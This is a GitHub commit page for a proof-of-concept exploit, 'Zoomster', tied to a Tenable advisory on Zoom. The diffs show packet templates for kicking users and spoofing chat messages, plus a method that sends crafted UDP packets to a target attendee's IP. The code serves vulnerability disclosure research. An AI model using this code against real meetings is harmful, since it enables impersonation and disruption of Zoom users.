Skip to content

Commit 509bd75

Browse files
committed
Zoom POC
1 parent e6dbd80 commit 509bd75

File tree

2 files changed

+11
-3
lines changed

2 files changed

+11
-3
lines changed

Zoom/msg_templates.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,7 @@
1+
# David Wells
2+
# https://www.tenable.com/security/research/tra-2018-40
3+
#
4+
15
class Msg_Templates:
26
'''
37
Message Templates for Initializing Various Zoom Class Objects That We Will Be Abusing
@@ -8,7 +12,7 @@ class Msg_Templates:
812

913
KICK_USER = ('{}\x0e\x01{}\x00\x04\x00\x01\x00\x04\x00\x88\x04{}{}\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00')
1014

11-
CHAT_MSG = ('\x07\x00\x00\x00Version' # Version
15+
CHAT_MSG = ('\x07\x00\x00\x00Version' # Version
1216
'\x04\x00\x00\x001.00' # 1.00
1317
'\x07\x00\x00\x00Content' # Content
1418
'{}\x00\x00\x00{}' # Msg

Zoom/zoomster.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,11 +5,15 @@
55
import base64
66
from msg_templates import *
77

8+
# https://www.tenable.com/security/research/tra-2018-40
9+
# This code crafts and sends UDP packets to invoke restricted commands
10+
# found in Zoom's ssb_sdk
11+
#
812

913
class Zoomster:
1014
'''
1115
Toolset Invokes Restricted Functionalities in Remote Zoom Clients.
12-
This is only a MINIMAL POC example and may require additional tweaking for various scenarios
16+
This is a MINIMAL POC example and may require additional tweaking for various scenarios
1317
1418
:param remote_ip: target attendee's IP address
1519
:param local_port: local port of source Zoom user
@@ -35,7 +39,7 @@ def spoof_chat(self, src_attendee_id, msg):
3539
self.P2P_HEADER,
3640
chr(src_attendee_id),
3741
chr(src_attendee_id),
38-
'\x04', # value may be other multiple of 0x04 (0x8, 0x10, ...)
42+
'\x04', # value may be other multiple of 4 depending on call (0x8, 0x10, ...)
3943
chr(len(msg_payload)),
4044
chr(len(msg_payload)),
4145
msg_payload

0 commit comments

Comments
 (0)